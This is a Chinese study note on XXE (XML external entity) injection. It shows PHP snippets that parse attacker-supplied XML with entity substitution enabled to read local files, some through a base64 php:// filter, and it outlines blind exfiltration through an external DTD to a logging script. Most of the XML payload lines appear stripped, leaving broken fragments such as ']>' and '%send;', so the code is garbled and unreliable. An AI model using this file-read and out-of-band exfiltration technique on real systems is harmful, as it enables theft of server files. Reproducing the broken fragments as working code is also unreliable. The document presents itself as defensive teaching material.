该笔记仅用于信息防御技术教学,请勿用于其他用途
目录
一、什么是XXE?
二、XXE原理:
XXE=外部实体注入攻击
建议首先详细阅读资料,没有什么问题是读一遍资料解决不了的,如果有,那么就多读几遍,直到烂熟于心:
http://www.w3school.com.cn/dtd/dtd_entities.asp
典型攻击如下:
]>
$xxe;
php中存在一个函数:simplexml_load_string() 这个函数是将xml转化为对象
]>&test; ';
$obj =simplexml_load_string($test,'SimpleXMLElement',LIBXML_NOENT);
print_r($obj);
?>
使用php伪协议读取文件:(文件内容会自动被base64加密,这是为了传输方便,加密的特点是结尾通常是=或者==)注意 base64不仅可以加密字符串还可以加密图片
]>&test; ';
$obj =simplexml_load_string($test,'SimpleXMLElement',LIBXML_NOENT);
print_r($obj);
?>
但是很多时候,后端语言解析了XML后其实并不会给你输出,这样我们也可以进行XXE攻击。
我们先读取我们想要的文件例如:file:///Users/mac/Desktop/chopper.txt,为了方便传输,我们使用php伪协议将文件内容base64加密读取。
然后我们再去调用一个外部的xml,比如1.xml:(
">
%all;
这个1.xml会被加载到原本的xml,然后我们最后来调用,然后你读取出来的文件内容会用get传参的方式传递给2.php,然后2.php会记录下来存储到3.txt
2.php内容如下:
整体代码如下:
%remote;
%send;
]>
EOF
$obj = simplexml_load_string($test,'SimpleXMLElement',LIBXML_NOENT);
?>
这个代码等价于:
">
%all;
%send;
]>
EOF
$obj = simplexml_load_string($test,'SimpleXMLElement',LIBXML_NOENT);
?>
进一步等价于:
%send;
]>
EOF
$obj = simplexml_load_string($test,'SimpleXMLElement',LIBXML_NOENT);
?>
这样看,是不是简单多了呢?
注:<<
%; 是 %的转义实体。